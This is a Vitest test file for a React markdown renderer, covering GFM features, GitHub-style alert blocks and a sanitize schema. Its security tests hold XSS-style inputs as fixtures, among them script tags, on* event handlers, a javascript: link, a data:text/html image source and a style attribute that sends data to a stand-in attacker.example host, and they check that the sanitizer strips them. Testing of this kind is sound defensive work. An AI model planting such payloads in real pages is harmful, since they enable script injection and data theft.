File size: 14,372 Bytes
fd2c364
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
import { render, screen } from "@testing-library/react";
import { describe, it, expect } from "vitest";
import { sanitize } from "hast-util-sanitize";
import type { Element, Root } from "hast";

import {
  MarkdownRenderer,
  MARKDOWN_SANITIZE_SCHEMA,
} from "#/components/features/markdown/markdown-renderer";

describe("MarkdownRenderer", () => {
  it("renders GFM tables (a GFM-only feature)", () => {
    const md = [
      "| Col A | Col B |",
      "| ----- | ----- |",
      "| 1     | 2     |",
    ].join("\n");

    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);

    const table = container.querySelector("table");
    expect(table).not.toBeNull();
    expect(container.querySelectorAll("th")).toHaveLength(2);
    expect(container.querySelectorAll("td")).toHaveLength(2);
  });

  it("renders GFM strikethrough", () => {
    const { container } = render(
      <MarkdownRenderer>{"~~struck~~ word"}</MarkdownRenderer>,
    );
    expect(container.querySelector("del")).not.toBeNull();
    expect(screen.getByText("struck").tagName.toLowerCase()).toBe("del");
  });

  it("renders GFM task list checkboxes", () => {
    const md = ["- [x] done", "- [ ] todo"].join("\n");
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const checkboxes = container.querySelectorAll('input[type="checkbox"]');
    expect(checkboxes).toHaveLength(2);
    expect((checkboxes[0] as HTMLInputElement).checked).toBe(true);
    expect((checkboxes[1] as HTMLInputElement).checked).toBe(false);
  });

  it("renders inline HTML embedded in markdown", () => {
    const md = "Hello <mark>world</mark> and <kbd>Ctrl+C</kbd>";
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    expect(container.querySelector("mark")?.textContent).toBe("world");
    expect(container.querySelector("kbd")?.textContent).toBe("Ctrl+C");
  });

  it("renders <details>/<summary> for collapsible sections", () => {
    const md = [
      "<details>",
      "<summary>Show more</summary>",
      "",
      "Hidden content",
      "</details>",
    ].join("\n");
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    expect(container.querySelector("details")).not.toBeNull();
    expect(container.querySelector("summary")?.textContent).toBe("Show more");
  });

  it("strips <script> tags via rehype-sanitize", () => {
    const md = "Hello<script>window.__pwn = true;</script> world";
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    expect(container.querySelector("script")).toBeNull();
    // The text content surrounding the script must still be there.
    expect(container.textContent).toContain("Hello");
    expect(container.textContent).toContain("world");
  });

  it("strips inline event handlers (onclick, etc.) via rehype-sanitize", () => {
    const md = '<button onclick="window.__pwn=true">Click me</button>';
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const button = container.querySelector("button");
    // The element itself may pass through (it's a normal HTML button) but
    // the onclick attribute must be gone.
    if (button) {
      expect(button.getAttribute("onclick")).toBeNull();
    }
  });

  it("strips javascript: URLs in anchor hrefs", () => {
    // Use raw HTML so we test the sanitizer end-to-end (markdown's own
    // link syntax escapes this differently).
    const md = '<a href="javascript:alert(1)">click</a>';
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const anchor = container.querySelector("a");
    // Two acceptable sanitize outcomes:
    //   (1) the anchor is stripped entirely → `anchor === null`,
    //   (2) the anchor survives but its dangerous href was dropped.
    // What's NOT acceptable is keeping the javascript: URL. Assert
    // explicitly in both branches so we never accidentally pass on a
    // sanitizer that smuggles the link through unmodified by removing
    // the surrounding wrapper (in which case the `if (anchor)` check
    // would short-circuit silently).
    if (anchor === null) {
      // Sanitizer dropped the anchor entirely — verifiably safe.
      expect(anchor).toBeNull();
    } else {
      expect(anchor.getAttribute("href") ?? "").not.toMatch(/^javascript:/i);
    }
  });

  it("does not honor `style` attributes (CSS-injection class of attacks)", () => {
    // CSS can be a side channel for data exfiltration
    // (`background-image: url("https://attacker.example/?cookie=…")`) or
    // for clickjacking/UI redress (`position: fixed; top: 0; …`). Our
    // schema deliberately omits `style` from the allowed attribute list
    // so the sanitizer drops it.
    const md =
      "<div style=\"background:url('https://attacker.example/exfil')\">x</div>";
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const div = container.querySelector("div");
    expect(div).not.toBeNull();
    // The style attribute must be gone (or at minimum not contain the
    // attacker URL).
    expect(div?.getAttribute("style") ?? "").not.toMatch(/attacker\.example/i);
    expect(div?.getAttribute("style")).toBeNull();
  });

  it("blocks data:text/html URLs in img src", () => {
    // `data:` covers arbitrary mime types, not just images — allowing
    // it on `<img src>` would let an authored doc round-trip an HTML
    // document with no schema validation. Our protocol allow-list for
    // src is restricted to http(s).
    const md = '<img src="data:text/html,<script>alert(1)</script>" alt="x">';
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const img = container.querySelector("img");
    // The sanitizer may either drop src entirely or drop the whole tag —
    // either way the data:text/html URL must not survive.
    expect(img?.getAttribute("src") ?? "").not.toMatch(/^data:/i);
  });

  it("strips other inline event handlers (onerror, onload, onmouseover)", () => {
    const cases = [
      '<img src="https://example.com/x.png" onerror="window.__pwn=1">',
      '<div onmouseover="window.__pwn=1">hover</div>',
      '<a href="https://example.com" onfocus="window.__pwn=1">link</a>',
    ];
    for (const md of cases) {
      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
      // Whichever tag survived must not carry an on* handler attribute.
      const element = container.querySelector("img, div, a");
      if (element) {
        for (const attr of element.getAttributeNames()) {
          expect(attr.toLowerCase()).not.toMatch(/^on/);
        }
      }
    }
  });

  it("keeps http(s) and mailto: URLs intact", () => {
    const md =
      "[external](https://example.com) and [mail](mailto:a@example.com)";
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    const anchors = container.querySelectorAll("a");
    const hrefs = Array.from(anchors).map((a) => a.getAttribute("href"));
    expect(hrefs).toContain("https://example.com");
    expect(hrefs).toContain("mailto:a@example.com");
  });

  it("drops <iframe> tags (not in the allow-list)", () => {
    const md = '<iframe src="https://evil.example.com"></iframe>';
    const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
    expect(container.querySelector("iframe")).toBeNull();
  });

  it("strips raw HTML when allowHtml=false", () => {
    const md = "Hello <mark>world</mark>";
    const { container } = render(
      <MarkdownRenderer allowHtml={false}>{md}</MarkdownRenderer>,
    );
    // <mark> should not be parsed; the text should still appear.
    expect(container.querySelector("mark")).toBeNull();
    expect(container.textContent).toContain("world");
  });

  describe("GitHub-style alert blockquotes", () => {
    const ALERT_CASES: Array<{ marker: string; label: string }> = [
      { marker: "NOTE", label: "Note" },
      { marker: "TIP", label: "Tip" },
      { marker: "IMPORTANT", label: "Important" },
      { marker: "WARNING", label: "Warning" },
      { marker: "CAUTION", label: "Caution" },
    ];

    it.each(ALERT_CASES)(
      "renders the $marker alert with title and body",
      ({ marker, label }) => {
        const md = [`> [!${marker}]`, "> Body content for the alert."].join(
          "\n",
        );
        const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);

        const alert = screen.getByTestId(
          `markdown-alert-${marker.toLowerCase()}`,
        );
        expect(alert).not.toBeNull();
        // Title label must appear and the original `[!TYPE]` marker must not.
        expect(alert.textContent).toContain(label);
        expect(alert.textContent).toContain("Body content for the alert.");
        expect(alert.textContent).not.toContain(`[!${marker}]`);
        // The styled alert is rendered as a <div>, not a <blockquote>.
        expect(container.querySelector("blockquote")).toBeNull();
      },
    );

    it("accepts the marker with lowercase casing", () => {
      const md = ["> [!warning]", "> mixed-case body"].join("\n");
      render(<MarkdownRenderer>{md}</MarkdownRenderer>);
      const alert = screen.getByTestId("markdown-alert-warning");
      expect(alert.textContent).toContain("Warning");
      expect(alert.textContent).toContain("mixed-case body");
    });

    it("renders the linked-issue example end-to-end", () => {
      // The exact snippet from the bug report.
      const md = [
        "> [!WARNING]",
        "> This project is in sandbox phase. It may be vibecoded, untested, or out of date. OpenHands takes no responsibility for the code or its support. [Learn more](https://github.com/OpenHands/incubator-program).",
      ].join("\n");

      render(<MarkdownRenderer includeStandard>{md}</MarkdownRenderer>);

      const alert = screen.getByTestId("markdown-alert-warning");
      expect(alert.textContent).toContain("Warning");
      expect(alert.textContent).toContain("This project is in sandbox phase.");
      expect(alert.textContent).not.toContain("[!WARNING]");
      // The inline link inside the alert body still renders as an anchor.
      const link = alert.querySelector("a");
      expect(link?.getAttribute("href")).toBe(
        "https://github.com/OpenHands/incubator-program",
      );
    });

    it("leaves regular blockquotes (no [!TYPE] marker) as <blockquote>", () => {
      const md = ["> Just a normal quote.", "> Second line."].join("\n");
      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
      expect(container.querySelector("blockquote")).not.toBeNull();
      expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull();
    });

    it("does not treat unknown alert types as alerts", () => {
      const md = ["> [!UNKNOWN]", "> body"].join("\n");
      const { container } = render(<MarkdownRenderer>{md}</MarkdownRenderer>);
      expect(screen.queryByTestId(/^markdown-alert-/)).toBeNull();
      // Falls back to a regular blockquote that still contains the literal
      // marker text so the user can see what they wrote.
      const bq = container.querySelector("blockquote");
      expect(bq).not.toBeNull();
      expect(bq?.textContent).toContain("[!UNKNOWN]");
    });

    it("survives rehype-sanitize (className passes through unchanged)", () => {
      // Regression guard: if a future schema change strips className from
      // the blockquote, the renderer would fall back to a plain blockquote
      // and the test-id would disappear.
      const md = ["> [!WARNING]", "> sanitized body"].join("\n");
      render(<MarkdownRenderer>{md}</MarkdownRenderer>);
      expect(screen.getByTestId("markdown-alert-warning")).not.toBeNull();
    });
  });
});

// Direct tests against MARKDOWN_SANITIZE_SCHEMA. End-to-end
// MarkdownRenderer tests can't reach these because our custom `anchor`
// component always hard-codes target/rel — so even a buggy schema (one
// that strips `rel` from HAST) would still produce a safe-looking final
// `<a>`. We run `hast-util-sanitize` directly on hand-built HAST trees
// to assert what the schema does and doesn't pass through.
describe("MARKDOWN_SANITIZE_SCHEMA", () => {
  function makeAnchor(properties: Record<string, unknown>): Root {
    return {
      type: "root",
      children: [
        {
          type: "element",
          tagName: "a",
          properties,
          children: [{ type: "text", value: "link" }],
        } as Element,
      ],
    };
  }

  function firstAnchor(tree: Root): Element | null {
    const node = tree.children[0];
    return node && node.type === "element" ? (node as Element) : null;
  }

  it("preserves space-separated rel values on raw HTML anchors (regression for fc208bc)", () => {
    // The old schema used `["rel", "noopener", "noreferrer", "nofollow"]`,
    // which is rehype-sanitize's "exact match against allowed values"
    // form — it would reject `rel="noopener noreferrer"` (the canonical
    // safe-link incantation) because the *combined* string isn't in the
    // allowed-values list. With the fix this test must pass: rel is
    // preserved verbatim.
    const tree = sanitize(
      makeAnchor({
        href: "https://example.com",
        target: "_blank",
        rel: "noopener noreferrer",
      }),
      MARKDOWN_SANITIZE_SCHEMA,
    ) as Root;

    const a = firstAnchor(tree);
    expect(a).not.toBeNull();
    // hast-util-sanitize stores `rel` as an array of tokens; reassemble.
    const relProp = a?.properties?.rel;
    const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
    expect(rel).toBe("noopener noreferrer");
    expect(a?.properties?.target).toBe("_blank");
    expect(a?.properties?.href).toBe("https://example.com");
  });

  it("preserves rel even when it carries unusual but-safe tokens like `nofollow ugc`", () => {
    // `rel` keywords never execute code or navigate, so allowing any
    // value is safe. This locks that property in.
    const tree = sanitize(
      makeAnchor({
        href: "https://example.com",
        rel: "nofollow ugc",
      }),
      MARKDOWN_SANITIZE_SCHEMA,
    ) as Root;

    const a = firstAnchor(tree);
    const relProp = a?.properties?.rel;
    const rel = Array.isArray(relProp) ? relProp.join(" ") : relProp;
    expect(rel).toBe("nofollow ugc");
  });
});